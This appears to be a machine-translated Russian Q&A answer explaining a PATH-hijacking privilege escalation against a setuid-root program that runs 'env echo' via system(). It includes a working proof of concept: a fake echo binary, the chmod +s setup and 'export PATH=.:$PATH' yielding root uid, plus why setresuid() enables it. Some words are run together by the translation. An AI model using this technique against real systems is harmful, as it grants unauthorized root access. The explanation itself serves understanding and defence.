Вы можете переопределить переменную PATH
, чтобы указать каталог с вашей пользовательской версией echo
, и, поскольку echo
выполняется с использованием env
, она не рассматривается как встроенная.
Это уязвимость, только если код запускается как привилегированный пользователь.
В приведенном ниже примере файл vc содержит код из вопроса.
$ cat echo.c
#include <stdio.h>
#include <unistd.h>
int main() {
printf("Code run as uid=%d\n", getuid());
}
$ cc -o echo echo.c
$ cc -o v v.c
$ sudo chown root v
$ sudo chmod +s v
$ ls -l
total 64
-rwxr-xr-x 1 user group 8752 Nov 29 01:55 echo
-rw-r--r-- 1 user group 99 Nov 29 01:54 echo.c
-rwsr-sr-x 1 root group 8896 Nov 29 01:55 v
-rw-r--r-- 1 user group 279 Nov 29 01:55 v.c
$ ./v
and now what?
$ export PATH=.:$PATH
$ ./v
Code run as uid=0
$
Обратите внимание, что настройкареальный идентификатор пользователя, эффективный идентификатор пользователя и сохраненный set-user-ID путем вызова setresuid()
перед вызовом system()
в уязвимом коде, размещенном в вопросе, позволяет использовать уязвимость, даже если установлен только эффективный идентификатор пользователядля привилегированного идентификатора пользователя и реального идентификатора пользователя остается непривилегированным (как, например, в случае, когда полагается на бит set-user-ID в файле, как указано выше).Без вызова setresuid()
оболочка, запущенная system()
, вернет эффективный идентификатор пользователя обратно к реальному идентификатору пользователя, что сделает эксплойт неэффективным.Однако в случае, когда уязвимый код запускается с реальным идентификатором привилегированного пользователя, достаточно только вызова system()
.Цитирование sh
Страница man:
Если оболочка запущена с эффективным идентификатором пользователя (группы), не равным реальному идентификатору пользователя (группы), и опция -p не указана, нетфайлы запуска считываются, функции оболочки не наследуются от среды, переменная SHELLOPTS, если она появляется в среде, игнорируется, а эффективный идентификатор пользователя устанавливается равным реальному идентификатору пользователя.Если опция -p указана при вызове, поведение при запуске остается тем же, но эффективный идентификатор пользователя не сбрасывается.
Также обратите внимание, что setresuid()
не переносимый, но setuid()
или setreuid()
также могут быть использованы для того же эффекта.